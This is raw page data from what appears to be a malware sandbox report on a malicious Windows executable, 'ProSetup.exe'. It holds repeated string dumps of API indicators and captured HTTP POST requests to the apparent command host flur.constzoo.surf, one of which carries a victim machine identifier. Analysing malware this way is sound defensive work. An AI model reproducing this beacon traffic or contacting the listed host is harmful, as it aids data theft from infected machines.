26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4bd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 624f52cc31cd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 624f52cc31cd…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 4/27 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8"],"about":{"@type":"SoftwareApplication","name":"ProSetup.exe","applicationCategory":["peexe","executable"],"identifier":"624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4f6,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin")28:T5829,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlssecpmlkemtlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64" (Indicator: "CertOpenStore"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetFileSizeExGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyhtml/templateinstallgoroottlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625unknown errorGetFileSizeExGetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyhtml/templateinstallgoroottlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "ead, synctest bubble runtime.semacreateruntime.semawakeup298023223876953125value out of rangeGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad index, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panicunexpected g status, g->atomicstatus=bad runtime" (Indicator: "CryptReleaseContext"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double w" (Indicator: "CertOpenSystemStoreW"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double w" (Indicator: "CryptAcquireContextW"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "LookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall23283064365386962890" (Indicator: "CertGetCertificateChain"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "625GetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock" missing CPU supportexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intntracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweep" (Indicator: "CertFreeCertificateChain"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int31nall goroutines stack tr" (Indicator: "CertFreeCertificateContext"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "aceGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorhttpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleExGC" (Indicator: "CertCreateCertificateContext"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "s: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pages/gc/finalizers/queued:finalizersruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "s: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of range11368683772161602973937988281255684341886080801486968994140625resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pages/gc/finalizers/queued:finalizersruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125invalid baseformatBase10OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlssecpmlkemtlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load6" (Indicator: "CertOpenStore"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CertOpenSystemStoreW"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closed14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double" (Indicator: "CryptAcquireContextW"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "LookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall2328306436538696289" (Indicator: "CertGetCertificateChain"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "625GetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlock" missing CPU supportexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intntracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSwee" (Indicator: "CertFreeCertificateChain"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersnoscan object in scanSpanslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int31nall goroutines stack t" (Indicator: "CertFreeCertificateContext"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for 363797880709171295166015625BoundsDecode decoding errorhttpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleExG" (Indicator: "CertCreateCertificateContext"; File: "624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin")29:T389d,Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "flur" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "constzoo" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "flur" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "constzoo" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1eU7ZqdQip8A5edPLV8qrwConnection" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "25AHiH4g" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W 